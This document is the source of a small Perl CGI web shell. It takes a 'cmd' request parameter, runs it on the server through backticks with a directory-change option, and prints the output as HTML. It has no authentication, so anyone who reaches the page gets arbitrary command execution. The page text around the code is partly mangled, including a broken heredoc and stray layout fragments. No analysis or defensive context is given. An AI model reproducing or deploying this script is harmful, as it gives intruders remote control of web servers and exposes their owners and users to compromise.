#!/usr/local/bin/perl $input = ' bgcolor=101010 text=ffffff cursor=ffffff borderimage=border autoactivate nohighlight font=proportional'; use POSIX; use CGI; $q = new CGI; print "Content-type: text/html\n\n"; $cmd = $q->param('cmd'); $dir = $q->param('dir'); if ($dir) { chdir ($dir); } if ($cmd =~ /cd/) { @dirs = split(/ /,$cmd); $cd = $dirs[1]; $cd =~ s/\n//g; $cd =~ s/\cM//g; chdir ($cd); $cmd = ''; } $cmd = `$cmd 2>&1`; $here = POSIX::getcwd(); print < add your links




Current Directory:
     $here
EOM $cmd =~ s/&/&amp;/g; $cmd =~ s/</&lt;/g; print($cmd); print " "; exit;